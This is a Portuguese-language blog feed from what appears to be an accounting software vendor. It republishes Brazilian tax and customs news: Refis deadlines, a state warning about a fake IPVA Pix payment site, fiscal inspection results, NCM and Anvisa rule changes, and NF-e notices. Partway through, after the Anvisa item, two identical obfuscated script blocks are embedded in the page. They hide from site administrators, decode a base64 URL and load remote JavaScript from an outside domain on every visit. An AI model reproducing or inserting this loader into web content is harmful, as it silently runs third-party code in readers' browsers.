	O termo de acordo de parcelamento poderá ser entregue, via e-mail refis@sefaz.to.gov.br, até o dia 29 de dezembro, desde que o pagamento da primeira parcela tenha ocorrido até o dia 22 de dezembro. A assinatura deverá ser realizada eletronicamente, nos termos da Portaria SEFAZ nº 417, de 22.05.23.</p>
<p>
	 “A assinatura do termo de acordo é condição para confirmação do parcelamento e concessão dos descontos previstos no Refis 2023, o que assegura que o processo de negociação seja concluído de forma eficiente e dentro dos prazos estipulados”, destaca a diretora de Recuperação de Créditos Fiscais, Nayara Medina.</p>
<p>
	O Refis Tocantins, edição 2023, teve início no último mês de maio com o intuito de oportunizar a regularização dos contribuintes em débito com a Receita Estadual, proporcionar um ambiente fiscal mais favorável, transparente e acessível, além do incremento da arrecadação de impostos. O programa ofertou condições especiais com redução de juros e multas para pagamento à vista ou parcelamento em até 72 vezes.</p>
<p>
	Alertas</p>
<p>
	Contribuintes que não realizaram a negociação ou não receberam o lançamento dos débitos até o momento, devem entrar em contato no WhatsApp do Refis (63) 3218-2359 ou presencialmente na Agência de Atendimento Sefaz mais próxima.</p>
<p>
	Contribuinte que realizou o pagamento da 1ª parcela e não enviou o “Termo de Acordo de Parcelamento” assinado digitalmente até o momento, tem até o dia 29/12/2023 para enviar no e-mail: refis@sefaz.to.gov.br. Qualquer dúvida entrar em contato no WhatsApp do Refis (63) 3218-2359.</p>
<p>
	Contribuintes que não cumprirem os prazos estabelecidos estarão sujeitos a medidas legais e acréscimos financeiros. Portanto, a recomendação é que os interessados estejam atentos aos prazos e requisitos estabelecidos pelo programa.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/TO
                        </p>
</p></div>
<hr>
<h1>IPVA/PB: SEFAZ-PB ALERTA PARA NOVO GOLPE DE PAGAMENTO DO IPVA VIA PIX</h1>
<div class="itemContent">
<p>
	A Secretaria de Estado da Fazenda (Sefaz-PB) alerta os cidadãos paraibanos sobre um novo golpe que tem ocorrido no ato de pagamento do Imposto sobre Propriedade Veicular e Automotores (IPVA) via internet, que já foi identificado no Estado de Minas Gerais.</p>
<p>	 </p>
<p>	Um site falso, praticamente idêntico à página oficial de consulta da Secretaria de Estado de Fazenda de Minas Gerais, tem oferecido a opção de pagamento via PIX com um suposto desconto de 20%, mas o link é redirecionado para pagamento dos valores para contas de pessoas físicas.</p>
<p>	 </p>
<p>	COMO FUNCIONA O GOLPE EM MG – Ao realizar uma busca no Google sobre o IPVA em Minas Gerais, os contribuintes são direcionados para uma página patrocinada que imita o site legítimo de pagamentos da Fazenda Estadual de Minas Gerais. Ao inserir as informações necessárias, durante o processo de pagamento, são apresentadas duas opções: a emissão de um DAE (boleto bancário) ou o uso do PIX. O boleto bancário é listado como indisponível, deixando apenas a alternativa do PIX, que traz um desconto atrativo de 20%. Ao aceitar a proposta, o contribuinte é direcionado para uma conta de pessoa física, diferentemente do site oficial, onde o Estado é o destinatário do imposto. O endereço, no entanto, é fraudado e manipulado.</p>
<p>	 </p>
<p>	SEFAZ-PB NÃO TEM PAGAMENTO VIA PIX – A Secretaria de Estado da Fazenda na Paraíba informa que a modalidade de pagamento via PIX ainda não foi liberada no Estado, mas orienta os contribuintes paraibanos a ficarem atentos sobre os descontos nessa modalidade para pagamento do IPVA na Paraíba.   </p>
<p>	   </p>
<p>	Para evitar cair em golpes no ato de pagar o IPVA via internet, é recomendável o contribuinte acessar direto o portal da Secretaria de Estado da Fazenda no endereço www.sefaz.pb.gov.br ou na página do DETRAN-PB www.detran.pb.gov.br e no botão IPVA acessar o local de emissão do boleto.</p>
<p>	 </p>
<p>	A Secretaria Estadual de Fazenda alerta ainda os cidadãos a sempre verificarem os endereços dos sites, desconfiando especialmente daqueles que não oferecem o Documento de Arrecadação Estadual (DAR) para o pagamento de impostos e taxas. Caso os contribuintes encontrem sites suspeitos denunciem às autoridades policiais do Estado ou na página da Sefaz-PB no link https://www.sefaz.pb.gov.br/denuncia</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/PB
                        </p>
</p></div>
<hr>
<h1>ICMS/BA: Operação Fisco Presente, da Sefaz-Ba, já tornou inaptos 3.936 contribuintes</h1>
<div class="itemContent">
<p>
	A operação Fisco Presente, desenvolvida pela Secretaria da Fazenda do Estado (Sefaz-Ba) para tornar mais eficaz a fiscalização do trânsito de mercadorias em toda a Bahia, desde outubro de 2021 já tornou inaptas 3.936 empresas que estavam em situação irregular por não terem sido localizadas no endereço indicado no cadastro. Estabelecimentos inaptos ficam impedidos de emitir e receber notas fiscais.<br />
	A Fisco Presente é uma nova abordagem focada em empresas pré-selecionadas após cruzamentos de dados contidos nos documentos fiscais eletrônicos. A operação já verificou 27.216 contribuintes de 164 municípios baianos. Ao todo, já foram cobrados R$ 10,8 milhões por meio de autos de infração e notificação fiscal.<br />
	Também foram apreendidas 272 máquinas de cartões de crédito e débito que tinham registro vinculado ao CNPJ de uma empresa, mas eram utilizadas por outra. O uso irregular destes equipamentos conhecidos como POS (point of sale) é passível não apenas de apreensão, mas de multa de R$ 13.800 por máquina.Como funciona</p>
<p>
	Durante a ação, as equipes do fisco fazem a conferência de cargas e descargas nos grandes centros comerciais, acompanham a movimentação diária das empresas, verificam a regularidade das máquinas POS, checam a emissão da Nota Fiscal do Consumidor Eletrônica (NFC-e) e verificam se o contribuinte exerce a atividade econômica descrita em seu cadastro junto ao ICMS.<br />
	“A ação tem como objetivos principais marcar a presença da Sefaz-Ba e inibir a sonegação e a concorrência desleal entre as empresas, assegurando que todos os contribuintes cumpram por igual suas obrigações tributárias”, ressalta o gerente das Operações da Fiscalização de Trânsito da Sefaz-Ba, Eraldo Santana.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/BA
                        </p>
</p></div>
<hr>
<h1>Inclusão de NCM nos TA do Mapa</h1>
<div class="itemContent">
<p>
	A Secretaria de Comércio Exterior (Secex) informa que, em 11/12/2023, as NCM abaixo foram incluídas nos modelos de LPCO de DCPAA – Trânsito (TA E0225, modelo LPCO E00137) e DCPAA – Solicitação de CSI (TA E0226, modelo LPCO E00138) a serem solicitados no módulo de “Licenças, Permissões, Certificados e Outros Documentos (LPCO)” para emissão pelo Ministério da Agricultura e Pecuária (MAPA):</p>
<p>
	04089900: Outros</p>
<p>
	05059000: Outros</p>
<p>
	15012000: Outras gorduras de porco</p>
<p>
	15019000: Outras</p>
<p>
	15021012: Fundido (incluindo o premier jus)</p>
<p>
	25081000: Bentonita</p>
<p>
	29329999: Outros</p>
<p>
	39139060: Sulfato de condroitina</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Siscomex
                        </p>
</p></div>
<hr>
<h1>Alteração de tratamento administrativo &#8211; Anvisa &#8211; NCM 53062000 e 21069010</h1>
<div class="itemContent">
<p>
	Comunicamos que a partir de 13/12/2023 serão promovidas as seguintes alterações no tratamento administrativo aplicado às importações dos produtos classificados nos subitens da Nomenclatura Comum do Mercosul abaixo relacionados, sujeitos à anuência da Agência Nacional de Vigilância Sanitária (ANVISA):<br />
	1. Inclusão dos tratamentos administrativos do tipo “NCM/Destaque”, conforme redação a seguir:</p>
<p>
	a) 53062000 – Retorcidos ou retorcidos múltiplos</p>
<p>
	Destaque 001 – Dispositivo médico (e componentes) para indústria/uso humano</p>
<p>
	b) 21069010 – Preparações do tipo utilizado para elaboração de bebidas</p>
<p>
	Destaque 003 – Medicamentos ou substâncias Port. SVS/MS nº 344/1998</p>
<p>
	2. Alteração do texto descritivo do destaque 002 do subitem 21069010, conforme redação a seguir:</p>
<p>
	De:</p>
<p>
	Destaque 002 – Para consumo humano /indústria alimentícia, exceto bebidas de competência do MAPA</p>
<p>
	Para:</p>
<p>
	Destaque 002 &#8211; Alimento (e insumos) para indústria/uso humano, exceto bebidas de competência do MAPA</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Siscomex
                        </p>
</p></div>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
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			</item>
		<item>
		<title>Boletim Sibrax 12/12</title>
		<link>https://blog.sibrax.com.br/2023/12/boletim-sibrax-12-12/</link>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 12 Dec 2023 09:00:06 +0000</pubDate>
				<category><![CDATA[Admin Clinica]]></category>
		<category><![CDATA[Administrador de Condomínios]]></category>
		<category><![CDATA[Administrador de Escritórios]]></category>
		<category><![CDATA[Administrador Sibrax]]></category>
		<category><![CDATA[Atualizações]]></category>
		<category><![CDATA[Contabilidade]]></category>
		<category><![CDATA[Controller]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Emissor de Notas Fiscais Eletrônicas]]></category>
		<category><![CDATA[Folha de Pagamento]]></category>
		<category><![CDATA[Gerenciador de Backups]]></category>
		<category><![CDATA[Importador de NF-es de Entrada]]></category>
		<category><![CDATA[LegislaçãoTelaInicial]]></category>
		<category><![CDATA[Livro Fiscal]]></category>
		<category><![CDATA[Notícias]]></category>
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					<description><![CDATA[<p>RS: Implantação da NFCom no ambiente de PRODUÇÃO da SVRS Com muita alegria comunicamos que a NFCom versão 1.00 encontra-se liberada no ambiente de PRODUÇÃO da SEFAZ Virtual RS. As Unidades Federadas que desejarem fazer parte da autorizaçãoi pela SEFAZ Virtual deverão solicitar isso à SEFAZ RS. As empresas emitentes devem ser credenciadas para emissão [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<h1>RS: Implantação da NFCom no ambiente de PRODUÇÃO da SVRS</h1>
<div class="itemContent">
<p>
	Com muita alegria comunicamos que a NFCom versão 1.00 encontra-se liberada no ambiente de PRODUÇÃO da SEFAZ Virtual RS.</p>
<p>
	As Unidades Federadas que desejarem fazer parte da autorizaçãoi pela SEFAZ Virtual deverão solicitar isso à SEFAZ RS.</p>
<p>
	As empresas emitentes devem ser credenciadas para emissão pela SEFAZ de sua circunscrição.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal NFCom
                        </p>
</p></div>
<hr>
<h1>Divulgados os resultados parciais da balança comercial com dados preliminares até a 2ª semana de dezembro/2023</h1>
<div class="itemContent">
<p>
	A Secretaria de Comércio Exterior (Secex) do Ministério do Desenvolvimento, Indústria, Comércio e Serviços (MDIC) divulgou nesta segunda-feira (11/12) os resultados parciais da balança comercial do mês de dezembro de 2023 com dados preliminares.</p>
<p>
	Conforme o cronograma de divulgações, a próxima divulgação dos resultados parciais da balança comercial com dados preliminares será no dia 18/12/2023 (segunda-feira) das 15h às 15h30min.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Ministério do Desenvolvimento, Indústria, Comércio e Serviços
                        </p>
</p></div>
<hr>
<h1>RS: Receita Estadual faz novo encontro virtual com produtores rurais e detalha app Nota Fiscal Fácil</h1>
<div class="itemContent">
<p>
	Em um novo esforço para chegar a cada vez mais contribuintes, a Receita Estadual (RE) voltou a chamar produtores rurais para uma roda de conversas sobre o aplicativo Nota Fiscal Fácil (NFF). Em encontro on-line na tarde desta quinta-feira (7), representantes da RE conversaram com produtores e com lideranças da Federação dos Trabalhadores na Agricultura no Rio Grande do Sul (Fetag-RS).</p>
<p>
	Os produtores rurais são um dos públicos que podem fazer uso da tecnologia, desenvolvida para tornar o processo de emissão de documentos fiscais eletrônicos o mais simples possível, com poucos toques na tela do celular. Hoje, está disponível para mais de 200 tipos de produtos rurais, como soja, frutas, legumes, madeira e fumo. À medida em que os produtores fazem novas solicitações, a RE avalia a inclusão de novos itens.</p>
<p>
	No encontro virtual de mais de uma hora, o chefe adjunto da Seção de Informações Fiscais da Divisão de Tecnologia e Informações Fiscais da RE, Geraldo Nunes Callegari, detalhou o app e respondeu a dúvidas dos usuários. O funcionamento é simples: os contribuintes preenchem dados sobre a propriedade, o destinatário e o tipo da operação, além de detalhes como os produtos vendidos e a forma de transporte. Quando a operação é autorizada, a nota fiscal é emitida e pode ser compartilhada – de forma que toda a complexidade tributária do documento fiscal fica a cargo da RE.</p>
<p>
	Como os produtores rurais trabalham no campo, muitas vezes sem acesso à internet, o app permite também o uso sem conexão. Dessa forma, os usuários emitem a NF-e de forma off-line e, assim que o acesso à internet é restabelecido, a nota fiscal fácil é autorizada. Para esses casos, o limite para solicitações é de 30 notas fiscais eletrônicas, R$ 300 mil ou 168 horas – depois disso, é preciso acessar a internet para que a ferramenta possa seguir sendo usada.</p>
<p>
	Funcionalidades</p>
<p>
	Dentre as funcionalidades já disponíveis no NFF, estão a solicitação de atendimento, o cadastro de produtos e de transportadores, a consulta e o cancelamento de notas fiscais eletrônicas, a geração do Danfe e o cadastro de operadores (pessoas de confiança que farão a emissão da nota fiscal em nome do titular). Atualmente, é permitida a emissão do modelo 55 da nota fiscal.</p>
<p>
	Para os próximos meses, outras funcionalidades estão sendo previstas, como a emissão do modelo 65. O app também deve passar a contemplar operações interestaduais, operações de entrada e de devolução, emissão por CNPJ e integração com a Guia de Transporte Animal (GTA), além de melhorias no processo de contingência off-line.</p>
<p>
	“Estamos planejando essas novidades para a próxima versão, no início de 2024. Por isso a importância de conversarmos com vocês para entender como podemos melhorar”, reforçou Callegari, que apresentou o assunto junto com os também auditores-fiscais André Poletto e Dimitri Munari e com o técnico tributário Benício Lemos.</p>
<p>
	O 1º vice-presidente da Fetag-RS, Eugênio Edevino Zanetti, destacou a troca de informações entre a RE e a categoria: “Percebemos que o aplicativo evoluiu muito e, embora ainda tenha pontos a melhorar, acreditamos que há plenas condições para que muitos produtores comecem a usar, pois traz bastante facilidade”.</p>
<p>
	Sobre o NFF</p>
<p>
	O app foi idealizado pela Sefaz, por meio da RE, e contou com a tecnologia da Procergs em seu desenvolvimento. A ferramenta foi concebida pelo Encontro Nacional de Coordenadores e Administradores Tributários (Encat), também com parceria do Sebrae Nacional, e é usada em outros estados do país. No início do mês, o NFF venceu o Prêmio Tributare.</p>
<p>
	Além dos produtores, podem usar a ferramenta os transportadores autônomos de cargas e os donos de empresas enquadradas no Simples Nacional. Para este terceiro grupo, as notas podem ser emitidas para os casos de revenda de qualquer tipo de produto ou de produção própria de bares, restaurantes e similares.</p>
<p>
	O app está disponível na App Store (iOS) e na Play Store (Android). Para acessar, é preciso usar o login da plataforma gov.br. Cada produtor pode instalar o NFF em até dez aparelhos.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/RS
                        </p>
</p></div>
<hr>
<h1>ICMS/RS: Programa de autorregularização busca recuperar R$ 3,6 milhões em razão de uso indevido de créditos tributários</h1>
<div class="itemContent">
<p>
	A Receita Estadual (RE) lançou um novo programa de autorregularização, dessa vez com foco em contribuintes que realizaram a apropriação de créditos fiscais em valores superiores aos transferidos entre estabelecimentos da mesma empresa. A ação abrange 93 empresas ativas que, no total, devem R$ 3,6 milhões aos cofres públicos, sem considerar a soma de multa e de juros.</p>
<p>
	O prazo seguirá até 31 de janeiro de 2024, período no qual é possível regularizar as pendências com o recolhimento do valor devido. Depois dessa data, os contribuintes ficam sujeitos a abertura de procedimento de ação fiscal, com cobrança de multa, caso persistam as divergências constatadas. As empresas envolvidas foram comunicadas no dia 4 de dezembro de 2023, em uma ação operacionalizada pela Central de Serviços Compartilhados de Autorregularização (CSC Autorregularização) da RE.</p>
<p>
	A irregularidade identificada diz respeito a contribuintes que apresentaram divergências envolvendo transferência de saldo credor entre estabelecimentos da mesma empresa. A legislação diz que os contribuintes têm direito a transferir os saldos credores acumulados a qualquer estabelecimento próprio dentro do Rio Grande do Sul. No entanto, o valor dos créditos recebidos por transferência deve ser o mesmo dos créditos e do saldo credor transferidos – se houver diferença entre os valores e consequente aproveitamento desses créditos, o caso é considerado uma infração à legislação tributária.</p>
<p>
	As empresas foram identificadas a partir de malha fiscal aplicada pela administração tributária gaúcha, cruzando dados das Escriturações Fiscais Digitais (EFD), das declarações emitidas nas Guias de Informação e Apuração do ICMS (GIA/ICMS) e das Notas Fiscais Eletrônicas (NF-e). Os contribuintes incluídos neste programa de autorregularização tiveram divergências registradas entre janeiro de 2019 e agosto de 2023.</p>
<p>
	Como proceder</p>
<p>
	As empresas já estão recebendo as guias de pagamento preenchidas, assim como formulários de denúncia espontânea pré-preenchidos – com isso, o objetivo é facilitar a regularidade voluntária. A comunicação sobre o programa é sempre feita nas caixas postais eletrônicas do Portal e-CAC da RE (Centro de Atendimento Virtual ao Contribuinte), na aba “autorregularização”. No mesmo espaço, é possível encontrar orientações e os detalhes do cálculo da divergência apontada, além de informações sobre os meios para regularização.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/RS
                        </p>
</p></div>
<hr>
<h1>ICMS/PI: Prazo de adesão ao REFIS termina na sexta-feira (15)</h1>
<div class="itemContent">
<p>
	Termina na próxima sexta-feira (15) o prazo para adesão ao Programa de Recuperação de Créditos Tributários (Refis 2023) que prevê descontos de juros e multas sobre débitos relativos às taxas do Detran e Setrans e impostos sobre Operações relativas à Circulação de Mercadorias e Prestações de Serviços de Transporte Interestadual e Intermunicipal e de Comunicação (ICMS), sobre a Propriedade de Veículos Automotores (IPVA/ Taxa de Licenciamento), sobre Transmissão Causa Mortis e Doação de Quaisquer Bens e Direitos (ITCMD).</p>
<p>
	 “Solicitamos aos contribuintes que não deixem para última hora a fim de não perderem o prazo e os descontos do REFIS 2023. É uma excelente oportunidade para estarem regulares junto ao fisco estadual”, afirma a Superintendente da Receita Estadual, Graça Moreira Ramos.</p>
<p>
	Os descontos dos juros e multas para pagamento do débito à vista podem chegar a até 95% sobre débitos inscritos ou não em Dívida Ativa, ajuizados ou não, incluindo os débitos negociados antes do programa.</p>
<p>
	E a negociação dos débitos também podem ser feitas de forma parcelada. No caso do ICMS, o parcelamento pode ser feito da seguinte forma: em três vezes, com 90% de desconto dos juros e multas punitivas e moratórias; vezes, com 80% de desconto de juros e multas; doze com 70% de desconto de juros e multas; ou em até noventa parcelas, sendo que nessa última opção o contribuinte deve dispor de uma entrada mínima de 20% do valor total do crédito tributário.</p>
<p>
	Já em relação aos débitos relativos ao IPVA e ITCMD, podem ser parcelados em três, seis e até doze parcelas, sendo que os descontos serão, sucessivamente, de 90%, 80% e 70%.</p>
<p>
	SAIBA COMO ACESSAR:</p>
<p>
	*Aproveite o programa de anistia, PARA NEGOCIAR O IPVA acesse o site: https://webas.sefaz.pi.gov.br/dar-ipva/</p>
<p>
	*Para pagar TAXAS DO DETRAN, acesse o site: https://www.detran.pi.gov.br/</p>
<p>
	*E para negociar débitos do ITCMD, procure uma das AGÊNCIAS DE ATENDIMENTO da SEFAZ-PI</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/PI
                        </p>
</p></div>
<hr>
<h1>Problema na autorização de eventos no Ambiente Nacional</h1>
<div class="itemContent">
<p>
	O Ambiente Nacional está com problemas na autorização de eventos, quais sejam: manifestação do destinatário, eventos de propagação dos documentos de transporte para a NF-e e evento de registro de passagem efetuado manualmente nos postos fiscais das Sefaz. Está se trabalhando para que a solução seja o mais rápido possível.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal NF-e
                        </p>
</p></div>
<hr>
<h1>Publicada NT 2023.004 v.1.00</h1>
<div class="itemContent">
<p>
	A NT 2023.004 objetiva prover aos atores envolvidos nos processos da NF-e/NFC-e a possibilidade de anotar no documento fiscal eletrônico as transações financeiras relacionadas, facilitando a vinculação entre documentos fiscais e recursos financeiros recebidos.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal NF-e
                        </p>
</p></div>
<hr>
<h1>Orientação para transferências de créditos, nas remessas interestaduais, entre estabelecimentos do mesmo titular.</h1>
<div class="itemContent">
<p>
	Esta Orientação descreve, de forma provisória até o término do período de freezing, os procedimentos para emissão de Documentos Fiscais Eletrônicos (DFe) nas remessas interestaduais de bens e mercadorias entre estabelecimentos de mesma titularidade, em decorrência da decisão do STF na ADC 49.<br />
	Os procedimentos propostos visam não impactar as transferências até a adequação das obrigações acessórias para designar, por meio de campos próprios, a não incidência nas remessas de bens e mercadorias entre estabelecimentos de mesma titularidade e a transferência de créditos de ICMS do remetente ao destinatário.<br />
	Dessa forma, a emissão dos DFe de transferências de bens e mercadorias seguirão a legislação vigente até o ano 2023, adotando os campos de ICMS já utilizados, ainda que não reflitam o significado jurídico da não incidência, para documentar o valor do crédito a ser transferido. Os DFe devem ter o campo de informações adicionais do fisco preenchido com o texto &#8220;Nota fiscal de transferência de bens e mercadorias não sujeita à incidência de ICMS, de que trata a ADC 49, emitida de forma a operacionalizar a transferência de crédito de ICMS&#8221;.<br />
	Ratificamos que esta orientação é provisória e deverá ser observada na emissão de DFe relativos às transferências realizadas até a publicação de ato normativo definindo procedimentos específicos para explicitar a não incidência e a transferência do crédito do imposto.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal NF-e
                        </p>
</p></div>
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